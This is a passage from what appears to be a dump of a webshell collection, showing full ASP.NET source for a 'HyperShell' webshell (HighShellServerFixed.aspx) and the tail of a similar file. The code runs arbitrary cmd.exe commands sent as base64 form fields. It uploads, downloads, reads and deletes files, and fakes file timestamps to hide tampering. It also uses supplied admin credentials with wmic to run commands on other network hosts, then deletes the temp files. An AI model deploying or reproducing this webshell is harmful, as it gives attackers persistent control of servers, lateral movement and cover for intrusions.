if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Count()==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            List<string> diskTemp=new List<string>();\r\n                            for (int i=1;i <= 5;i++){\r\n                                string f=string.Format(strWF,tmp,i);\r\n                                string[] lDisk=System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD,f));\r\n                                for (int j=1;j<lDisk.Length;j++){\r\n                                    if (i==1)diskTemp.Add(lDisk[j]);\r\n                                    else diskTemp[j-1]+=\"|\"+lDisk[j];\r\n                                }\r\n                            }\r\n                            ret =\"{\\\"dir\\\":[\";\r\n                            bool isStart=false;\r\n                            foreach (string item in diskTemp){\r\n                                string[] diskInfo=item.Split('|');\r\n                                long TotalSize=0;\r\n                                long TotalFreeSpace=0;\r\n                                long.TryParse(diskInfo[2],out TotalSize);\r\n                                long.TryParse(diskInfo[3],out TotalFreeSpace);\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);\r\n                                isStart =true;\r\n                            }\r\n                            ret +=\"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special2/HighShellServerFixed.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"I9DRj5CH6Rtzd3HTCUbtJlmWNzsTa8b*2ldX3RT7ZOof(Zl$CaPQ3rpsGK74NMH1z\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"TMzp5OlYv7Q0MSosaDqT5zRztTho/9/Ln7iayTV46VE=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {\r\n                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special3/HighShellLocal.aspx",
